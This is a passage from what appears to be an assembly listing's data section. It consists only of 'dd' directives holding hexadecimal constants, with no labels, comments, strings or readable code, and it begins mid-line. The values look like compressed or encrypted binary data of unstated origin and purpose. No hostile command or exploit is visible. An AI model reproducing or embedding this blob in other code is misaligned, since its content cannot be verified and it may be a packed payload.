0B0121C9Dh, 865C0891h, 0E1493926h dd 8327DBBDh, 0E484C9FFh, 63A04F29h, 0CD85309Ah, 0E2843D34h dd 0DA764DA0h, 5F439Eh, 0A9F1F051h, 54262103h, 0BEA7D189h dd 0C554728Dh, 0CB9F9520h, 37299C5Fh, 34C71490h, 0B41139AFh dd 0F71B63A0h, 0BE3FC818h, 0E085CF82h, 20F42BF3h, 82AF44E8h dd 0F48C91CFh, 5AF05EA3h, 532A4C16h, 82E54A99h, 0BCAA1E8h dd 415503E1h, 2C8DE5B2h, 0F42FCBA2h, 0DCC39832h, 0E48894F5h dd 4DF64CCh, 0D6A26B5Ah, 1424E61Eh, 5B737E71h, 3B142EDFh dd 7860B137h, 1654D82Eh, 0E7416806h, 0EE84D042h, 0D15A27Bh dd 55B46F8h, 2C20BE94h, 96E8C45Bh, 2EBE2AC4h, 0A5865C66h dd 97984D33h, 94313AA9h, 325F74DDh, 58C96A9Bh, 0D989D506h dd 4F39AA3Ch, 1AB4C9DAh, 0E41DAA33h, 34FD65ABh, 0D6A6B5A7h dd 0AD8E46B8h, 5CEB96B7h, 0C8B666EFh, 81B0CAE9h, 0E7626C4Dh dd 63FEB896h, 96DB252Bh, 545A9C1Dh, 0FECFB947h, 969B44Eh dd 32F8F3DDh, 2606D63Eh, 0EDE3F9B6h, 4027EAEDh, 0B8AEF5DDh dd 0C9DE1BBFh, 7CFB61F1h, 0D6E5AF28h, 0B83BCD2Dh, 507544F7h dd 4471BC50h, 1BD91BEFh, 0EFCDF7BFh, 3B04661Eh, 0E8EC77Ah dd 0F9274230h, 6B22147Fh, 2FF5FEAh, 1690F00Eh, 0A25070BEh dd 25970E24h, 0F25E70Fh, 46100486h, 71626850h, 926A267h dd 0E03826F5h, 27C3DD71h, 0DB026276h, 427C02F3h, 72672502h dd 8A0153E7h, 0B82151A2h, 3F062A3Eh, 3000472Eh, 0C06D0007h dd 73673305h, 2B82B637h, 283105A8h, 82F83183h, 3774405Ch dd 0A8398388h, 74874783h, 4C546546h, 22D70666h, 2D62D884h dd 768462D9h, 175154B0h, 2DE75365h, 5875707Eh, 912065B6h dd 2ED08B42h, 2A08F75Dh, 12F012A1h, 12885709h, 2D12F439h dd 97661331h, 0A513676h, 6C0A543Dh, 0E66E56E7h, 0A7FE76h dd 7721DD14h, 4C148773h, 0D3060B54h, 77E67E67h, 80878877h dd 0C16B7807h, 5845BF5Bh, 6B5870C5h, 269478B1h, 1815A732h dd 6D191698h, 0A1865A14h, 0D70D759h, 9988F0D6h, 0A19518A7h dd 79F6A479h, 7C6AB7A2h, 0A19D7A34h, 0C719D34h, 890CF19Dh dd 0A6B348A4h, 3567AB7Ah, 0B87AD6B7h, 0B1D036E1h, 3583628Ah dd 0C40BF6C0h, 57B96C36h, 36B49B6Ch, 5A4A67BBh, 81B93713h dd 3764AD5Ch, 0C55CB0AAh, 0B6D17C77h, 3876D97Ch, 0DC5D57CBh dd 76E138A5h, 4CC5E07Dh, 877DB4CDh, 67DE0870h, 6EA20F5Eh dd 0E68D87E3h, 0A2353A96h, 4E37EB7Eh, 0A38DF7EDh, 15FB0823h dd 4D52303Ah, 3E4D739Eh, 0F7FD4D62h, 8002444Eh, 4B6073C0h dd 260D8042h, 26280871h, 1880D505h, 826C26B7h, 61D61A61h dd 0E0816815h, 451327B3h, 81E6233Eh, 2228D00Fh, 53EE28F8h dd 3F152029h, 3273062Eh, 0F63682C7h, 504482FEh, 83383583h dd 5C05A830h, 78358320h, 83B05A83h, 57071837h, 7450660h dd 2C984084h, 4B74B927h, 0E41B8437h, 84A54D54h, 0DB84A2D2h dd 0A84E07E2h, 75793507h, 24120758h, 993C75D1h, 12985842h dd 3012A2F6h, 843E7651h, 66E2F913h, 6E86A76Ch, 0F4420A65h dd 0A71DD76h, 7067A86Eh, 90B57738h, 68330E36h, 7895A878h dd 0A1631AA8h, 5BC15E87h, 7C5BB5BBh, 0E87F1AA8h, 88316D31h dd 2417978Bh, 859058E3h, 88959319h, 9269B795h, 69743418h dd 32E89297h, 9D89B6ABh, 47A84881h, 8A91B36Bh, 0AA6B65B1h dd 45C28AD8h, 15E0BF1Bh, 0A08B48B1h, 0B5BF19E4h, 5BD3695Bh dd 0C65B36C7h, 0D3735C85h, 6CF8C16Ch, 0C36D01E2h, 209F1E58h dd 6D95D25Dh, 835D499Eh, 60921EF3h, 8CA1F75Dh, 0CD08E6E1h dd 0F2086E38h, 9AF08307h, 0D207C237h, 0D2147DB8h, 770877Dh dd 87209087h, 0FEDA8D80h, 0A7EA7E74h, 820837Eh, 0C28DE206h dd 39C69C39h, 7EE8DC23h, 0FA3AF3ABh, 34EC9CD5h, 8EB5FF22h dd 13BA070h, 0F0650606h, 8033BD8Eh, 0F49DC4FCh, 426060F8h dd 80D26471h, 0FC8FA8F9h, 0F61A0398h, 61D61902h, 1127B816h dd 581C27C5h, 6283E728h, 2C821909h, 29972D7h, 8452291h dd 0FD917912h, 0D8329189h, 83482A06h, 1C91B82Fh, 0F830A049h dd 83607182h, 39923057h, 0A0F92A8h, 6864CA1h, 3354E841h dd 5A17A169h, 7A93893h, 506567DBh, 0D5601148h, 42F12393h dd 3108F131h, 85659411h, 94643866h, 6D949133h, 0D77076F7h dd 95195113h, 541DA8C0h dd 0B8733069h, 0BB0B30Bh, 5B959454h, 0F166A3E9h, 78458487h dd 6068C68Ch, 7831AA1h, 98B7B84Ah, 934634A0h, 40CC8836h dd 0CE5A917h, 0A21990CEh, 0A18F9705h, 5A05A188h, 0A00D2977h dd 9A5FA5C7h, 8A197B6Ah, 7F8A26B2h, 86FE3589h, 96B69809h dd 0A687B035h, 5D1AF358h, 498CA4B1h, 0A6D3696Ch, 0B549635Ah dd 75C78BC0h, 9981DD99h, 9F8C35CCh, 0E9A299D0h, 4BE99F4Bh dd 996DB383h, 338B6DF0h, 2034C609h, 0CF8CE9ACh, 78D23938h dd 3937DB08h, 895E29BFh, 907F0890h, 0A98233A9h, 9F08A07Fh dd 2A9F083Ah, 8AAA3AAh, 0A0AA5205h, 22354CCAh, 6FB3A59Ch dd 0FF9CF6FBh, 4ED2276h, 7F89D122h, 0F14F03B5h, 0C4F10654h dd 6906906h, 690659D8h, 5D24F0h, 5E9DA3Ch, 0FB8F2050h dd 53C925B4h, 460468Fh, 204604Ch, 1AD1ACC5h, 9E4040ADh dd 0FB039263h, 0E61A8FD8h, 61F9EB8Fh, 4512ADDh, 0A2889069h dd 9F490801h, 0B00951Ah, 13F051D9h, 9FB73052h, 359FE82Ah dd 1AF106E8h, 0AF4AF3A0h, 0F283106Dh, 0EAF9AF1Ah, 6E06D06h dd 0F8AFC05Ah, 1A0CA01Ah, 73E21474h, 41B06A11h, 90760668h dd 0B0CA17B0h, 35076934h, 1910FE59h, 42E2A19Ah, 75893A42h dd 19430A20h, 0C566430Bh, 130439B1h, 2CA2B767h, 0F86A867Ah dd 86C94B66h, 76144302h, 8A361DB5h, 0A3A1D614h, 3F87649Bh dd 0E584165Ah, 0A400C577h, 8C6C4A41h, 1A709616h, 31CB3DA7h dd 755880CBh, 178E9691h, 0A555A9A5h, 72186343h, 0B4A5939h dd 79D79AA6h, 0D80D818Fh, 0DB521890h, 0A62A5CB4h, 0AA48B89Eh dd 0F9815B07h, 35C5B01Ch, 0B1A6EA75h, 0B98B0C61h, 9925BF5Ah dd 0BB993992h, 0D8BDA781h, 7C67C56Ch, 0E399E99Ch, 99E9A21h dd 0A85A844Ch, 89387386h, 0CA8B389Ah, 6E29AB8Ch, 0AF38F206h dd 0C3929B09h, 7DD20B07h, 0BA9BA9B3h, 922820B9h, 393B8C22h dd 897EDA99h, 59C79C30h, 0B949C720h, 0C79C8390h, 0C9CD8E09h dd 6FB3A66Fh, 0D823C223h, 58E723E4h, 24770506h, 0F10694F0h dd 106C70B4h, 4FC70D8Fh, 0C525560Bh, 0C9DF60E3h, 9E47163Ch dd 69AD5613h, 1B8FB2FEh, 79EB9E87h, 3E0ADE27h, 0E2724022h dd 8626AE13h, 9F690A90h, 30AEB90Eh, 0B0840977h, 0BD0AFA9Fh dd 0CEAFBAFFh, 1BCEBD4Bh, 0BD7BD4A0h, 84A92BD4h, 0EBDDA920h dd 6E087BDh, 80071BDDh, 6080BE30h, 0BE6BE7BEh, 0E4BE808Dh dd 0EBED08DBh, 0BF0BEFBEh, 35B12BF1h, 1B1208D9h, 0BF8560BFh dd 3F860560h, 0A86443F4h, 0B24B2594h, 2C00C01h, 0F0AA0A5Ch dd 8715CA76h, 568BD44Ah, 7A3A3699h, 0B30B914h, 1615677Eh dd 6A416C03h, 0C5C17C1h, 4387F174h, 7584C1CBh, 0A640C50Ch dd 8F1A3C21h, 0E31F96B5h, 96E1A158h, 29A540D0h, 0C330B493h dd 0DB974B4h, 330DB186h, 417DC34Ch, 0C38C37C3h, 396A6C38h dd 0C0D8C37Ch, 0C40C3FC3h, 55C41C41h, 10D1192Bh, 0C488A50Dh dd 0C61AE352h, 0E6B50C60h, 0C494A4A6h, 0D10C734Eh, 6C4619E0h dd 34DC57C5h, 0A5C4C0C8h, 0F355B631h, 3595BD48h, 0FE8B61B2h dd 0B6C63364h, 70B65C88h, 0AB0AF99h, 6B0AA0ABh, 0C6FC6ECh dd 0AEC6BC7h, 6EC730ABh, 709C0AECh, 0B741F4C7h, 859A35D3h dd 6D56D4Ah, 1EAC81C8h, 85C84094h, 4C87C86Ch, 6E28D2C8h dd 0CAA8E094h, 0FC8F1F84h, 921F6C8h, 0F16D96D8h, 66D5C941h dd 8C61E98Ch, 0A909DC9Bh, 0D7D37D29h, 1FC08C1Fh, 0ADA985DFh dd 0AB832099h, 7B22C8Dh, 0ED23DAB1h, 0DAB723C4h, 8EE0745Fh dd 0C424324Eh, 8251605Ah, 4FA70DCBh, 0BDAD24FEh, 903CCBDCh dd 0CC2CC161h, 3002603Ch, 603027C0h, 31030CCh, 31031CC6h dd 0CCF01A0h, 1FCD0CDh, 0CFCD3CCFh, 0AAE300FCh, 3EEAE890h dd 0CD29AAEAh, 0CDF0BC0h, 0CE2CE1CEh, 0E1CE4CE3h, 0C0BC0BFCh dd 0CE9CE77Ah, 0CF9878A7h, 0C6C2C4C1h, 0CF10BDC4h, 0F5CF4CEFh dd 6CF7CF6Ch, 0C90C90Ch, 0FDCFAC4Ch, 0F1A1CFACh, 0C57C55CFh dd 5D04D03h, 0AC57D06Dh, 0DAC560Dh, 0D0FECD0Bh, 0B0DBD0Ch dd 20DAC34Dh, 0DEC34C4h, 16C330DEh, 0AD150DBDh, 0D1CD1BD1h dd 0E30DED1Dh, 3D21D200h, 0D240E50Eh, 27D26D25h, 5D29D28Dh dd 0D280DF0Eh, 2FD2ED22h, 30E5D20Dh, 0D2CD2AD2h, 29D36D2Ah dd 9D380E9Dh, 0D3CD3B0Eh, 3FD3ED3Dh, 2D41D40Dh, 0E8D41D4h dd 3BD45D45h, 8D480E8Dh, 0E9D49D4h, 46D3DD47h, 3D43D4CDh dd 0D50D49D4h, 4ED3CD51h, 8D54D57Dh, 0E8D240Eh, 5ED5E0E6h dd 2D610E2Dh, 0D64D63D6h, 67D66D65h, 0AD69D5FDh, 0D6C0E4D6h dd 6C0E9D6Ch, 0E0E40E6Dh, 0D70D6DD5h, 0E6D6AD71h, 60E20E30h dd 0D7CD670Eh, 7FD1ED61h, 0D13D1DDh, 0C3359AC4h, 3BC3A0D6h dd 318CD84Ch, 18B473C3h, 74C440DBh, 40D2C469h, 481979D0h dd 44D96D8Fh, 0E7A33463h, 176C2596h, 1F5AB0CAh, 1D9E0C73h dd 0C71AADAh, 0B90CA7B9h, 615E95F7h, 0DACDAB0Bh, 0ACDAEDADh dd 1DAC0B4Dh, 1DDC6FC7h, 9F0FEABh, 0B9B73C6Bh, 809D99EDh dd 8899E1Fh, 8E088DBFh, 538DDC00h, 5BAF5AFh, 5BDC8DC7h dd 0ADCA0430h, 0DCE63ADCh, 0D1CCD043h, 1DD1DD2Dh, 0D901ACDh dd 0D9DD8CE5h, 0CCEBDD8Dh, 5C2B5CDDh, 0F2CF6CF3h, 7DE3CF8Ch dd 0DE6CFECFh, 0C919ECFDh, 7C53C460h, 0DEEDEDD0h, 90D1DEFh dd 2D10D0DDh, 0D82D12D1h, 16D19D14h, 0EDFBD80Dh, 0DFE0DF0Dh dd 0E3D35DFFh, 5D36DFE0h, 0E00D28D3h, 30D23E05h, 0BD21E0ADh dd 0E07D25D2h, 0D20D26h, 5E13D37Eh, 0E16D52D2h, 59E18E17h dd 7E1AD46Dh, 0D56D4CD4h, 4FD58D4Bh, 5D43E20Dh, 0E1BD4D0Eh dd 5AD5B0E5h, 5E26D4DDh, 0D69D27D4h, 31E30D7Dh, 50E2E32Eh dd 0E3D5E0Eh, 71D6FD74h, 3D74D70Dh, 0D61E2F0Eh, 0DED63D60h dd 0CD7DE410h, 0DF7D1ADFh, 89D82E47h, 74790DB1h, 18018AD9h dd 80343D99h, 10CFC561h, 0D03E540Dh, 0A5C540C8h, 3A63E551h dd 347A63C2h, 0E50E50FEh, 81345D95h, 0D8866964h, 0D9D0CC96h dd 0A1DA25A7h, 0D321321Dh, 0DA50C298h, 8B1A1E70h, 6DA99629h dd 0BA0B615h, 7AE7ADAFh, 0EDAB0AFEh, 0AFDAB0Ah, 701DCC75h dd 0B72DB5Ch, 0B734B7A8h, 0C6C906D5h, 0CDC2DBF4h, 0A01DC5A8h dd 5ADC7DC9h, 0FDCBDC70h, 0DD3DCFDCh, 0D5CCEE99h, 0ACDE0D9Dh dd 196CE0DDh, 9EE9E0BCh, 679EEA2Eh, 0EA60C819h, 0A8CDF1AEh dd 0D7AB1B1Eh, 0C51EAF1Ah, 4EEB2C5Ah, 0B1A60C63h, 0DE4DE4C5h dd 0B2CFCCFBh, 1A10C96h, 0DEFEBFDFh, 0F3DF1D0Bh, 8D0FD0DDh dd 0DF9D19E4h, 0E3D1EE45h, 5D2FD1A0h, 0E14D31D2h, 31D2DED1h dd 2D22E0BDh, 0ED7D2DEDh, 0DAD3BD24h, 0EEDDE19Eh, 0D3EE22EDh dd 53E1FD55h, 6D40D50Dh, 0D3FE1BD5h, 4AEE5E1Dh, 0BD55D51Dh dd 0E28D39E2h, 33E3ED5Dh, 0FD62EF4Eh, 0D5EE3FD5h, 74D73D5Bh dd 2E3BD77Dh, 0D6AE3BD7h, 0E2D7BE3Dh, 0BEF4D790h, 0FEA0E2D1h dd 0D19D1BECh, 86D13C3Eh, 0F0EE4BDh, 0D87F0EF1h, 12C3933Ah dd 0DA5B473Fh, 0D10CDE4h, 92F1B18Fh, 2D03F1BDh, 0B4DE4DE6h dd 6B17FB57h, 0DDA05A89h, 0A64E6DE6h, 8EDA7A71h, 0BE78E769h dd 0DB1DADE7h, 0B3DAEDB1h, 0BC6DC6EDh, 0C6E0A30Ah, 9DDBBDBAh dd 0E09399E0h, 0DC0DC3DBh, 72DC4DC1h, 2F46AF50h, 0E9405BE9h dd 3AE97E95h, 5DD2E9A6h, 0DD7DD6DDh, 55CDECDFh, 8F57EA6Fh dd 0F5AF59F5h, 5DEB1EA7h, 5C49F5EFh, 0EB8C5AEBh, 0C0DECDEBh dd 8EC4DEDEh, 0D0EF69F6h, 9D14EC7h, 0DECCDFBFh, 0E10E0AECh dd 40D28E15h, 0DD39E25Dh, 0F7AE25D3h, 37EDAD3Ah, 7EDBF78Dh dd 0D26D3CEDh, 0EAD42EDFh dd 9F87F860h, 0F86F870Eh, 8AF88D3Bh, 7F8FF8EFh, 0E8D4EF8h dd 46EEE0EAh, 1F96F8EDh, 0E1EF93F9h, 0E3F8FF93h, 2E2AE18Eh dd 0EEBEE8F9h, 3D77D46h, 6D66EF5Fh, 0EF9FA5FAh, 0E9D5ED4Eh dd 0DD3BD5F0h, 0DDFE3FFAh, 0D69D76D6h, 20D5FD72h, 6D6AFAADh dd 0E42D2FEFh, 1EF6EFBDh, 0FE07C34Dh, 0DF33ADFh, 11DFEFC4h dd 0BC37D84Fh, 0D2C3FC3h, 8FD8BD8Bh, 118AF1DDh, 0FD4F22FDh dd 7D47FA5Fh, 396E19A4h, 0F255A818h, 9EF2AD9Dh, 0BDA3E6BDh dd 0DAAE76A4h, 0ABFE6F31h, 0FF360B60h, 4BAF3CC6h, 0EFF43DB9h dd 2088202Fh, 6DF4607h, 0F5FF3FF3h, 0BDC8072Fh, 0F4DF4CF4h dd 31033F4Fh, 62331000h, 3050D0C4h, 0CD66C1DBh, 984C2610h dd 86C2A18Dh, 6C3A0F0Ah, 45E1ED86h, 221F198Ch, 5AB1C8E3h dd 451F6435h, 0B1D8FC86h, 1D9347A4h, 93C8A3Dh, 96345AB2h dd 8CBD8CD5h, 0CD266D16h, 0EE75399Ah, 5B4DA9CCh, 853E9FCFh dd 743A250Eh, 0DBA451DBh, 7A6525B4h, 0A853DBD4h, 9D4EA551h dd 379C6E3Ah, 6EB559ABh, 0DCAE4AB5h, 0D2E972D7h, 0D62B2391h dd 69B459ECh, 1B65AED5h, 0B65B9D36h, 95CEE571h, 5DEECEABh dd 0F579FEBCh, 0D7DBE5EEh, 0E8BC3A2Eh, 2C260F04h, 0C1E01D78h dd 562B137Fh, 58AF3827h, 0A2C59075h, 3279474Bh, 0D193C165h dd 0CE6CE616h, 0A1CF3A33h, 57139B45h, 0D367B4DAh, 1E8F46E2h dd 0DAB099FCh, 79C971CCh, 0AC8E6D9Eh, 73A1B139h, 0DB4DE6AFh dd 5C7156B3h, 5A937E9Fh, 0A9B8AA3Ah, 672B88DFh, 0F3F9DCDEh dd 4BA4D6E7h, 7A5D36FFh, 91D9EC53h, 0D2A6B4Ah, 0E169771Bh dd 1F051FBFh, 0F479FCDEh, 67AFB5E9h, 7A7CBEBFh, 3FCFF1F8h dd 0FEDF5FA3h, 99F5667Dh, 4CC67FE5h, 0FCFFFED9h, 63C06653h dd 18463994h, 70440A61h, 0D1750641h, 23071845h, 9C27094h dd 4225B16Dh, 0D0D4330Bh, 0F43A5596h, 3F0FC3F0h, 12447111h dd 44E44449h, 0E4245114h, 70E44244h, 0B71845F1h, 2DC67190h dd 88B1B086h, 71B46C22h, 0F0671E20h, 8810631h, 222260D2h dd 0C8F2348Bh, 899B083h, 749B261Bh, 0A12849F2h, 9B06ACFEh dd 0F2B4AA98h, 8CB32C4Ah, 7899A609h, 0A29A32F2h, 294A24C2h dd 0CA5296A4h, 71BCF5A7h, 0DB362A8Ah, 0AE384A84h, 9C8B22B2h dd 13ACE871h, 0A1C8B12Ch, 0FB3E4F6Bh, 0BACFF3F4h, 507412FCh dd 0EC02EF42h, 551275AEh, 19459D14h, 47513455h, 0D0EBDD15h dd 0AC2D08C6h, 731D4A31h, 3ACB530Ch, 5037AD03h, 0D42D7305h dd 0EC2B414Fh, 42F4CE2Ch, 74B1B3CBh, 0CAD44DCBh, 5414FD44h dd 6DBCE6DBh, 2AB2731Ch, 86E62B47h, 0A8B946F3h, 3975FB88h dd 0F6358AE8h, 53DAE6D8h, 0B7273DB6h, 685966C1h, 0BDB695A3h dd 0EF91B6F7h, 79A4FB5Ah, 0BAFBDB46h, 6FDBEFDDh, 0C0D01C0Bh dd 0F7318F02h, 85D30640h, 0DB0A41F0h, 0CC37775h, 0C3D79441h dd 3115EB12h, 945714C5h, 0FB1845A3h, 2D468395h, 4711C0B6h dd 22C731Dh, 0FC7C81C8h, 0C00D0671h, 8861F241h, 62728C97h dd 8914A58Ah, 0D6332D49h, 0FE8FA6B2h, 4BD2DE38h, 7314C09Fh dd 6CD0A5E4h, 0DC6DCD4Ah, 0AC657954h, 0CECAD4E2h, 6B1CE73Ah dd 4F55B2Ch, 20C7AD94h, 9E66EC8Bh, 67F42D01h, 475E83A0h dd 368B47AFh, 12BDE8DAh, 41E86BB5h, 0B174E553h, 8CEB39A7h dd 0EA4D5D6h, 0A473544Dh, 0AD310C4Eh, 0B4149D29h, 0CCBB06D9h dd 1B094F2Ch, 0C19AE6ADh, 0B52C071Ah, 1C75CABFh, 7641C4E7h dd 0C591BA6Eh, 9F69650Eh, 35EF769Dh, 0DA7BF6F9h, 0CFA7036Bh dd 0B5B8FABCh, 0FAFEBF6Fh, 735C301Bh, 5D573DC9h, 0B775D9C8h dd 9C377842h, 477B4417h, 1513E444h, 5F8425F3h, 31945D7Fh dd 36071960h, 5385607Dh, 871C120Fh, 75987621h, 7D9763D8h dd 1C5D976h, 0C5D676C7h, 277778A9h, 0A446ECB1h, 491635DFh dd 12852C9Bh, 0C5336499h, 0E665935Ch, 0E5CA8AABh, 7B44E938h dd 0B4F8B2FAh, 76C8ACEBh, 9DFB7A0Eh, 1D3EDACDh, 478681EEh dd 37CA781Dh, 0F2FEFC9Fh, 7D6769D5h, 7F77DBF6h, 9511F57Dh dd 0D5A5697Fh, 0A3FD675Fh, 7DDA37F3h, 9A19D549h, 0AFFD4169h dd 1A53FE7Eh, 0A8F804D3h, 6AAD51AEh, 0A9959B58h, 0FA35A81Ch dd 4830C61Dh, 14606033h, 0B9AD35B3h, 3AAE6CC6h, 656A6E0Bh dd 85BCAF96h, 5B60E66Dh, 42539509h, 1CA73214h, 0AF616375h dd 0A732B57Eh, 6A2930C4h, 9E524A7Ah, 0A5BD1474h, 12C34D2Ch dd 87CF356h, 0EDE0A615h, 8F39D96Fh, 0C47702B5h, 3E8E1D6Eh dd 0B9C662E0h, 444E89Ch, 0B720B99h, 2A839C9Ah, 0D1CBA1C7h dd 439C732Bh, 85F225C4h, 22211588h, 11A2FF74h, 3A774E8Dh dd 66409D5h, 911D60E8h, 3846F768h, 0A98E51C6h, 531D63A1h dd 30D28D83h, 0E8D834C9h, 0F8F0EE86h, 52046EA4h, 6AC8190h dd 0C8290721h, 790374A1h, 0C946F14Bh, 4843F652h, 922ACCB6h dd 0EA9C9E84h, 95EA3314h, 0CB3666C5h, 17B29ED3h, 5286503Eh dd 83DCFE94h, 0F7CAFBC7h, 0CFB6543Eh, 9F64AB1Dh, 0EF7D83Bh dd 9643BE54h, 2D6593EBh, 5C4B796Dh, 0ED96B2E6h, 532CE580h dd 1FB8ED9h, 17880B3h, 0E7E8D120h, 6D4DAEA8h, 0C2B5956h dd 0C123386Fh, 80A61D48h, 0FE1A5CC5h, 9B47808h, 51534D0Eh dd 7AAC664Bh, 94B116F6h, 0C283283h, 69CD390Bh, 0F0AE13CEh dd 0D63CEA1Bh, 2C058470h, 92324677h, 7421E1CBh, 624F02A0h dd 0F079AAF9h, 6B0F536Ch, 0BD684438h, 49E85B07h, 0F5BF12E2h dd 0F135739Fh, 90538E89h, 8C1174BAh, 18230576h, 2AE2CC57h dd 162F78B6h, 72453181h, 0CB18E310h, 0A233BA58h, 8472754Eh dd 975860A3h, 149A934Ch, 0A385291Ch, 52FA5D1Dh, 8FB1D298h dd 21C71533h, 4448AA6Dh, 3F9E498Ah, 2B250ACCh, 74B215B9h dd 52B69325h, 0A671270Bh, 528DF033h, 0AA654BA9h, 0BE67CC5Dh dd 0AA553DF5h, 55655CADh, 5E556AADh, 0AD9583BEh, 3BAAD4FEh dd 5D55E972h, 611D92DEh, 0D92EAB25h, 2477A8F7h, 0C56A984Ah dd 71DB2D1Fh, 60DA2CDh, 9ABC1B9Ah, 3596ACD9h, 7FED6A66h dd 5B2ACCC2h, 0B3CC195Fh, 8AE0A3Eh, 0E6601464h, 620B4C9Ah dd 59AF4F66h, 88405C0Bh, 539E1127h, 0E75B6CB2h, 4F76EA57h dd 39037A7Eh, 53ECD1C8h, 0D359A38Ch, 0A2B3D674h, 5966217Dh dd 0E5624EC8h, 71589F33h, 158B0BE1h, 0E9B27BACh, 28015191h dd 9F288E76h, 3EA31E82h, 0E34FEDBAh, 71A06408h, 108A880Dh dd 8D716895h, 5A898B6Bh, 58A843CEh, 0BA2D7305h, 14662EC5h dd 0D7F51D5Fh, 52160547h, 671A51Ch, 39C740E7h, 0EFDDFBBCh dd 0E31D9776h, 903B2F25h, 0A546CD19h, 4D289A57h, 0F814A8E0h dd 86A8D0DEh, 4719A434h, 53EBEB4Ch, 0A8350AA0h, 7F6FE543h dd 0B43D3665h, 0DB324F5Ch, 0DEFA9F83h, 0B703605Ah, 0BCAA95C3h dd 0FC1D836Ah, 58470860h, 0FE8613C2h, 69563C30h, 3858773Eh dd 0DF2D52C3h, 61FC3985h, 0C4188710h, 897120F1h, 13627C4Dh dd 2BC5153Fh, 58F97166h, 0C65AE2FCh, 7D65C623h, 7C698C87h dd 4A271A63h, 31C0EB96h, 55FAAB8Eh, 0C7B582B2h, 2C255D61h dd 0FEE06B03h, 799A8FCDh, 9328B259h, 58CD977Ah, 136332A6h dd 233394DBh, 595A6F35h, 9B229D6Ch, 0E022E994h, 2E39866Fh dd 0AACA593h, 159CD84Fh, 7F9230F2h, 0A7C6813h, 2AE0A02Ah dd 0A673B8C3h, 7CEC2A33h, 2F05467h, 0B3B67BCFh, 884CFC21h dd 0FA21B3Fh, 0E8341E83h, 3185B462h, 0F31EB47Ch, 1DA37460h dd 334868FDh, 768B1EBAh, 7D23A534h, 0FA674C69h, 8798F2D2h dd 68CD3C3Ch, 0D45A7B4Eh dd 0A97526A3h, 51EA7D4Dh, 0F4D543D3h, 5BAA8790h, 0AC7769EDh dd 0A6ABD5BAh, 7D6DAD75h, 0DAAB5C6Bh, 3466B4D1h, 695D7A3Dh dd 0D85A4C7Ah, 3E07AEC3h, 616C7D8Ch, 0C9D8BB1Bh, 0B1FE47C6h dd 680F61F1h, 0C7DA5B47h, 0F23E36A6h, 5F6B0F91h, 0D6D9DB5Bh dd 0FDBDB776h, 5B87706Dh, 7726E3DCh, 8FA1F5B7h, 1F23EF6Bh dd 0B9C7D8FBh, 77EEFDD9h, 0FADD83F7h, 0EDBD7780h, 0AB7C6F7Dh dd 0CEEBDD5Bh, 0DDFDBF77h, 0BBBF6D6Fh, 782703DCh, 707DA5C1h dd 1F3B4384h, 0C37828F6h, 6F70FE1Dh, 13E13C33h, 0EDC578A7h dd 0B840F51h, 2717E2FBh, 0CE31C776h, 5C878F71h, 0B92723E4h dd 71BE39C8h, 0DA3C2F8Bh, 0CB78B6D7h, 49F07E5Dh, 0C4E4BCB7h dd 29CCF66Eh, 0FB48E93Dh, 0D6BFD57Ah, 0FE7DCF74h, 23CF1268h dd 717E8C1Eh, 5E51E3D1h, 0BCBD27A4h, 387A65E0h, 0A80E1BBEh dd 52EA5D47h, 2C3706E7h, 8479F3FDh, 0CF5AD25Ch, 7D17CDFAh dd 9CF7AC75h, 3B269DD3h, 767ECDAAh, 0D463BC79h, 0AB47776Ah dd 0B76B5957h, 72EDA3D3h, 0EBABB4F7h, 0EB9DEB9Eh, 0D6BBE79Ah dd 0A1E7AD7Bh, 0BDFFBD6Bh, 79AF1ED2h, 4F0BFEB3h, 5A4F9A6Dh dd 7B6C8D9h, 0EC6DA1B5h, 0F25B3FC7h, 0B63C9791h, 6AED9DBDh dd 9BE21E5Bh, 0AFBB3CE7h, 9F776F4Dh, 379FF41Bh, 0DE03E937h dd 7EA3CF6Dh, 37DFA9DFh, 6FCDE1B8h, 0F5FC3BD8h, 0EC77D6E9h dd 71FABE03h, 0BAE55C33h, 59C1FDDFh, 2F96F2FEh, 570DF39Ch dd 7F81EEB8h, 7B0F93FCh, 7E6736E3h, 7CFF9DF3h, 0E63F47E8h dd 0CDB98F20h, 9AFCEFA9h, 8AF0DB0Fh, 21CCF647h, 74B75FDh dd 0E69AEC3Eh, 0D1DADB5h, 0FFA3460Fh, 0BA3746D2h, 5E3FDDD2h dd 1CE3B2EFh, 0D3FA67F0h, 70FF7EA7h, 0FBFF5D54h, 1FCE3FE7h dd 9B697D0Dh, 0B91B933Eh, 0ABB9C3AEh, 83F1B613h, 34EB4FB4h dd 0BBC06BB4h, 0F3BC3593h, 0B5C3BFBBh, 0BF409C09h, 53B0B5F3h dd 0B6087AB5h, 0C33ED402h, 5B6540FBh, 0BC536736h, 96BC838Dh dd 0B3CB363Bh, 372B6336h, 173E1B6Eh, 137DBCDCh, 0B7FB7A3Dh dd 7B376B79h, 8B80419Bh, 0DC1A3DFEh, 0BDA37BC1h, 75BD4BD7h dd 0FC21417Bh, 3E138436h, 24421B85h, 9423C24Ch, 0C26BE438h dd 8C38FB84h, 93E54283h, 3EABEBC2h, 1B68B8Dh, 0C38F42B4h dd 3E442BC2h, 8AC2F36Dh, 0FBE03DEBh, 42E42E38h, 8EBECBE6h dd 4044343h, 0BF340C3Bh, 4C0C3F1h, 13A1B48Ch, 0B133F63Ah dd 0FABF7BF7h, 0F3A82F03h, 0BA8BFC2Eh, 0FE3FCBAAh, 0EC2A86E3h dd 87BB8442h, 9942707Bh, 8BE6C41Bh, 350B46C3h, 53406351h dd 13B1B4C3h, 40940B3Fh, 4C39D3C1h, 8BC0408Ch, 40EBAFB4h dd 6ABECC11h, 7C133913h, 36AB9736h, 15B6FB6Ah, 4382C24Ch dd 4563CFB7h, 19456371h, 0B458C58Ch, 0B7CB7741h, 5C45B87Eh dd 0C87DB794h, 0C5EC5E45h, 7945DC5Ch, 145B45D3h, 0C5EB7B46h dd 6446045Dh, 9C5D4604h, 4663D041h, 0D9C67C1Eh, 8BCEC553h dd 45946641h, 6F45746Bh, 0DC6946C3h, 0C23B87C6h, 27423388h dd 0FE4436ECh, 64313694h, 46E47339h, 313DE474h, 83E9B89Ch dd 0BE7433B9h, 5EBFF346h, 8C4635E3h, 0B12C3AC3h, 0F8BF743Bh dd 0EBFB43CBh, 86E3AA43h, 43B69443h, 207C87BCh, 44348348h dd 6F482484h, 0ABE1C853h, 0BE842938h, 7AC88BACh, 6BB1B504h dd 0C79C3834h, 0BC479B5Dh, 0AC0DB5FBh, 48EBC1C4h, 35365BECh dd 9384C324h, 3CBBCCBCh, 0CDC14371h, 0B87CB73Bh, 0C6BC9746h 